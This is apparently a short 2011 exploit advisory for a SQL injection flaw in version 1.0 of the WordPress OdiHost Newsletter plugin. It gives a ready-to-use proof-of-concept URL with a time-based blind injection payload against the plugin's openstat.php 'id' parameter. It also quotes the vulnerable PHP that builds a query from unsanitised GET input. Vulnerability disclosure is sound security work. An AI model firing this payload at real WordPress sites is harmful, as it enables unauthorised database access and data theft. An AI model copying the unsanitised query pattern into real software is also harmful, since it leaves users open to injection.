# Exploit Title: WordPress OdiHost Newsletter plugin <= 1.0 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/odihost-newsletter-plugin.zip
# Version: 1.0 (tested)

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PoC
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http://www.site.com/wp-content/plugins/odihost-newsletter-plugin/includes/openstat.php?uid=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

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Vulnerable code
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$newsletterid = $_GET["id"];

...
	
$wpdb->query("update newsletterstat set newsletterstatopened = CONCAT(newsletterstatopened ,'". $subscriberid . ",') where newsletterstatnewsletterid= ". $newsletterid);